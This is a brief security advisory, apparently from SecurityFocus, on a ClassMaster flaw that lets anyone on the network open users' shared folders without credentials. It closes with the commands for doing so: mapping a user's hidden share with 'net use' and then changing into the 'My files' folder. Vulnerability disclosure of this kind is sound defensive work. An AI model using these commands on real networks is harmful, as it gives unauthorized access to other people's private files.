source: http://www.securityfocus.com/bid/13604/info

ClassMaster is reportedly affected by a vulnerability that may allow attackers to gain unauthorized access to users' folders.

An attacker is able to gain complete access to user shares over a network without providing any sort of authentication credentials.

All versions of ClassMaster are considered vulnerable at the moment. 

Map account to a drive:
net use [drive]: \\[server]\[user]$

Change directory to target folder:
cd 'My files'